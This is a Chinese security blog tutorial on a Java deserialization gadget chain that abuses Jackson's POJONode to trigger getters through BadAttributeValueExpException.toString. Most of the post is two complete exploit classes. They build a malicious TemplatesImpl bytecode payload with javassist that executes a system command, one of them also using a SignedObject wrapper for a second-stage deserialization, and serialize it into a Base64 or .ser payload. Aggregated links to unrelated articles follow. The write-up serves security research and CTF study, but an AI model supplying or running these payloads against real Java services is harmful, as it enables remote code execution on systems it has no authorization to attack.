【Web】浅聊Jackson序列化getter的利用——POJONode
目录
核心速览
原理分析
EXP
TemplatesImpl利用
SignedObject利用
核心速览
writeValueAsString是jackson序列化自带的入口,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用
下面介绍如下利用链:
BadAttributeValueExpException.toString -> POJONode -> jackson反序列化->getter
原理分析
POJONode继承ValueNode,ValueNode继承BaseJsonNode
BaseJsonNode有一个writeReplace方法

writeReplace 方法是 Java 中的一个特殊方法,它在序列化过程中起着重要作用。当对象被序列化时,Java 虚拟机会自动调用 writeReplace 方法(如果存在),并用其返回的对象来替换原始对象。这个方法的主要作用是允许开发者在序列化过程中控制对象的替换行为。
具体来说,writeReplace 方法通常用于以下情况:
- 对象替换: 可以通过
writeReplace方法返回另一个对象来替换原始对象进行序列化。这样可以隐藏原始对象的实际类型或状态,或者返回单例对象等。 - 序列化代理: 通过返回另一个对象,可以将序列化的责任委托给另一个对象来完成序列化过程,从而更灵活地控制对象的序列化方式。
这是我们不希望看到的,所以要在当前classpath下创建个新的BaseJsonNode,并将原来的writeReplace方法删除或注释掉,如此便能正常完成利用链相关调用。
POJONode中不存在有toString方法的实现,在其父类的父类BaseJsonNode中存在有

跟进InternalNodeMapper.nodeToString,看到调用jackson反序列化自带的入口writeValueAsString

之后便会调用入参bean的getter方法,打法有很多
EXP
TemplatesImpl利用
package org.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);byte[] bytes = ctClass.toBytecode();Templates templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});setFieldValue(templatesImpl, "_name", "xxx");setFieldValue(templatesImpl, "_tfactory", null);POJONode jsonNodes = new POJONode(templatesImpl);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream fout=new FileOutputStream("1.ser");fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream = new FileInputStream("1.ser");System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes = Base64.getDecoder().decode(data);ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}
SignedObject利用
package org.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;public class EXP2 {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);byte[] bytes = ctClass.toBytecode();TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});setFieldValue(templatesImpl, "_name", "fakes0u1");setFieldValue(templatesImpl, "_tfactory", null);POJONode jsonNodes2 = new POJONode(templatesImpl);BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val2.setAccessible(true);val2.set(exp2,jsonNodes2);KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);POJONode jsonNodes = new POJONode(signedObject);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream fout=new FileOutputStream("1.ser");fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream = new FileInputStream("1.ser");System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes = Base64.getDecoder().decode(data);ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}相关文章:
【Web】浅聊Jackson序列化getter的利用——POJONode
目录 核心速览 原理分析 EXP TemplatesImpl利用 SignedObject利用 核心速览 writeValueAsString是jackson序列化自带的入口,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用 下面介绍如下利用链: BadAttrib…...
osgEarth学习笔记2-第一个Osg QT程序
原文链接 上个帖子介绍了osgEarth开发环境的安装。本帖介绍我的第一个Osg QT程序。 下载 https://github.com/openscenegraph/osgQt 解压,建立build目录。 使用Cmake-GUI Configure 根据需要选择win32或者x64,这里我使用win32. 可以看到include和lib路…...
2024年发布jar到国外maven中央仓库最新教程
2024年发布jar到国外maven中央仓库最新教程 文章目录 1.国外sonatype仓库的版本1.1老OSSHR账号注册说明1.2新账号注册说明 2.新账号注册(必选)3.新账号登录创建Namespace3.1创建Namespace的名字的格式要求(必选)3.2发布一个静态网站(可选&…...
在ubuntu22.04.4安装freeswitch1.10.10
一、环境 No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 22.04.4 LTS Release: 22.04.4 Codename: jammy 二、依赖 1、 工具包 apt install -y openssh-server …...
qt 置顶窗口崩溃无法退出解决,停止运行快捷键设置
有时置顶窗口调试崩溃需要快捷键进行关闭,如下设置即可 这样就可以通过全局快捷键退出了,避免置顶崩溃无法关闭程序的问题。...
HBCalculator 程序:通过 VMD 可计算分子动力学模拟中氢键密度和强度的一维和二维分布
分享一个通过 VMD 可计算分子动力学模拟中氢键密度和强度的一维和二维分布程序 HBCalculator。 感谢论文的原作者! 主要内容 “氢键是分子系统中关键的非共价相互作用,对生物、化学和能量相关过程产生重大影响;因此,描述氢键信息…...
鸿蒙-项目创建及了解
目录 项目创建 1.App普通项目创建 2.元服务创建 项目结构 .hvigor .idea AppScope entry EntryAbility.ts pages resources module.json5 ohosTest hvigorfile.ts build-profile.json5 oh_modules build-profile.json5 hvigorfile.ts 项目运行 项目创建 F…...
SQLiteC/C++接口详细介绍sqlite3_stmt类(九)
返回:SQLite—系列文章目录 上一篇:SQLiteC/C接口详细介绍sqlite3_stmt类(六) 下一篇: 无 33、sqlite3_column_table_name 函数 sqlite3_column_table_name 用于返回结果集中指定列所属的表的名称。如果查询中列使…...
idea2023 运行多 springboot 实例
概要 1、修改idea运行多实例(本地测试负载) 你可能用到其他 1、改造项目缓存token 至redis 支持负载均衡部署 SpringSecurity6.0RedisJWTMP基于token认证功能开发(源码级剖析可用于实际生产项目)_springsecurity redis管理token…...
HarmonyOS系统开发ArkTS常用组件编程技巧
目录 样式复用 Styles方法 Extend方法 组件编程在使用过程中有很多技巧,在这里分享样式复用技巧和UI结构复用技巧。 样式复用 我们观察下面的代码,在代码中很多重复行的代码,如: Image 的 .width(30).height(30) 是重复的But…...
大数据开发(Hive面试真题-卷三)
大数据开发(Hive面试真题) 1、Hive的文件存储格式都有哪些?2、Hive的count的用法?3、Hive得union和unionall的区别?4、Hive的join操作原理,left join、right join、inner join、outer join的异同࿱…...
Oracle数据库SQL开发规范
Oracle数据库SQL开发规范是为了保证SQL代码的质量、可读性和性能而遵循的一系列准则和最佳实践。以下是一些常见的Oracle SQL开发规范要点: 1. 命名规范 使用有意义且一致的命名约定,例如表名采用TBL_MODULE_NAME,视图采用VW_MODULE_VIEW等…...
FreeRTOS 消息队列
1. 队列简介 1.1 队列的概念 队列是任务到任务、任务到中断、中断到任务数据交流的一种机制(消息传递) 类似全局变量?假设有一个全局变量a 0,现有两个任务都在写这个变量 a: 大家想象一下如果任务 1 运行一次&#…...
如何在Python中实现列表推导式?并给出一个例子
如何在Python中实现列表推导式?并给出一个例子 Python的列表推导式(List Comprehension)是一种强大且简洁的创建列表的方法。它允许我们在一行代码中完成循环和条件判断,从而生成所需的列表。列表推导式不仅提高了代码的可读性&a…...
Flask中的Blueprints:模块化和组织大型Web应用【第142篇—Web应用】
👽发现宝藏 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 Flask中的Blueprints:模块化和组织大型Web应用 在构建大型Web应用时࿰…...
如何通过idea搭建一个SpringBoot的Web项目(最基础版)
通过idea搭建一个SpringBoot的Web项目 文章目录 通过idea搭建一个SpringBoot的Web项目一、打开idea,找到 create new project二、创建方式三、配置项目依赖四、新建项目模块五、总结 一、打开idea,找到 create new project 方式1 方式2 二、创建方式 新…...
Python和FastAPI语义分析和文本图像
要点 使用FastAPI开发RESTful API,创建端点,自定义响应,结构化多路由。Pydantic数据验证库数据建模,创建依赖项注入。开发数据库和对象关系映射,SQLAlchemy,Tortoise ORM,MongoDB。建立权限和安…...
centos系统ssh7.4升级9.6
编译安装 OpenSSL 下载 OpenSSL 源代码: wget https://www.openssl.org/source/openssl-1.1.1w.tar.gz这个命令从 OpenSSL 的官方网站下载指定版本(1.1.1w)的源代码压缩包。 解压源代码: tar zxvf openssl-1.1.1w.tar.gz使用 tar…...
excel所有知识点
1要加双引号 工作表(.xlsx) 单击右键→插入,删除,移动、重命名、复制、设置标签颜色,选定全部工作表 工作表的移动:两个表打开→右键→移动(如果右键是灰色的,可能是保护工作表了)…...
显卡基础知识及元器件原理分析
显卡应该算是是目前最为火热的研发方向了,其中的明星公司当属英伟达。 当地时间8月23日,英伟达发布截至7月30日的2024财年第二财季财报,营收和利润成倍增长,均超市场预期。 财报显示,第二财季英伟达营收为135.07 亿美…...
猫抓插件终极指南:简单三步下载网页所有视频音频
猫抓插件终极指南:简单三步下载网页所有视频音频 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾经在网上看到一个精彩的视频想…...
手把手教你为高通骁龙平台添加新传感器:从供应商驱动到系统集成的完整流程
高通骁龙平台传感器集成实战:从驱动适配到系统验证的全链路解析 当一款新型传感器需要集成到高通骁龙平台时,工程师面临的不仅是代码修改的挑战,更是一个涉及硬件抽象层、通信协议、电源管理和系统架构的复杂工程。以SC7A20加速度传感器为例&…...
Python敏感性分析的完整指南:SALib库的终极应用
Python敏感性分析的完整指南:SALib库的终极应用 【免费下载链接】SALib Sensitivity Analysis Library in Python. Contains Sobol, Morris, FAST, and other methods. 项目地址: https://gitcode.com/gh_mirrors/sa/SALib SALib是一个功能强大的Python库&am…...
WuliArt Qwen-Image Turbo快速体验:输入提示词,几秒获得1024高清大作
WuliArt Qwen-Image Turbo快速体验:输入提示词,几秒获得1024高清大作 1. 引言:从想法到画面的极速通道 你有没有过这样的经历?脑子里突然冒出一个绝妙的画面,想把它变成一张图片,结果要么被复杂的AI绘画工…...
南北阁Nanbeige 4.1-3B入门必看:纯本地运行、无网依赖、4GB显存友好部署指南
南北阁Nanbeige 4.1-3B入门必看:纯本地运行、无网依赖、4GB显存友好部署指南 想体验一个能流畅对话、还能“看见”它思考过程的AI助手吗?今天要介绍的南北阁Nanbeige 4.1-3B,就是一个让你在普通电脑上就能跑起来的国产小模型。它只有30亿参数…...
xManager:免费解锁Spotify高级功能的完整使用指南
xManager:免费解锁Spotify高级功能的完整使用指南 【免费下载链接】xManager Ad-Free, New Features & Freedom 项目地址: https://gitcode.com/GitHub_Trending/xm/xManager xManager是一款专为音乐流媒体爱好者设计的安卓应用管理工具,它让…...
7个实用技巧!Vue组件测试指南:基于TypeScript-Vue-Starter的Jest单元测试实战
7个实用技巧!Vue组件测试指南:基于TypeScript-Vue-Starter的Jest单元测试实战 【免费下载链接】TypeScript-Vue-Starter A starter template for TypeScript and Vue with a detailed README describing how to use the two together. 项目地址: https…...
Pixel Dimension Fissioner 创意编程:结合Node.js构建实时图像生成服务
Pixel Dimension Fissioner 创意编程:结合Node.js构建实时图像生成服务 1. 为什么需要实时图像生成服务 电商平台需要每天生成上千张商品展示图,社交媒体运营要快速产出吸引眼球的视觉内容,广告公司面临紧急修改需求...这些场景都在呼唤一个…...
Qwen3.5-9B-AWQ-4bit网络协议分析小助手:图解HTTP请求与TCP连接过程
Qwen3.5-9B-AWQ-4bit网络协议分析小助手:图解HTTP请求与TCP连接过程 1. 网络协议可视化的新体验 当你第一次学习网络协议时,是否曾被那些抽象的概念和复杂的交互流程困扰?传统的文字描述往往难以直观展现数据包在网络中的流动轨迹。这正是Q…...
忍者像素绘卷开源可部署:支持国产统信UOS+海光DCU异构部署
忍者像素绘卷开源可部署:支持国产统信UOS海光DCU异构部署 1. 项目概述 忍者像素绘卷是一款基于Z-Image-Turbo深度优化的图像生成工作站,专为复古像素艺术创作而设计。这款工具将传统漫画创作与现代AI技术相结合,创造出独特的16-Bit复古游戏…...
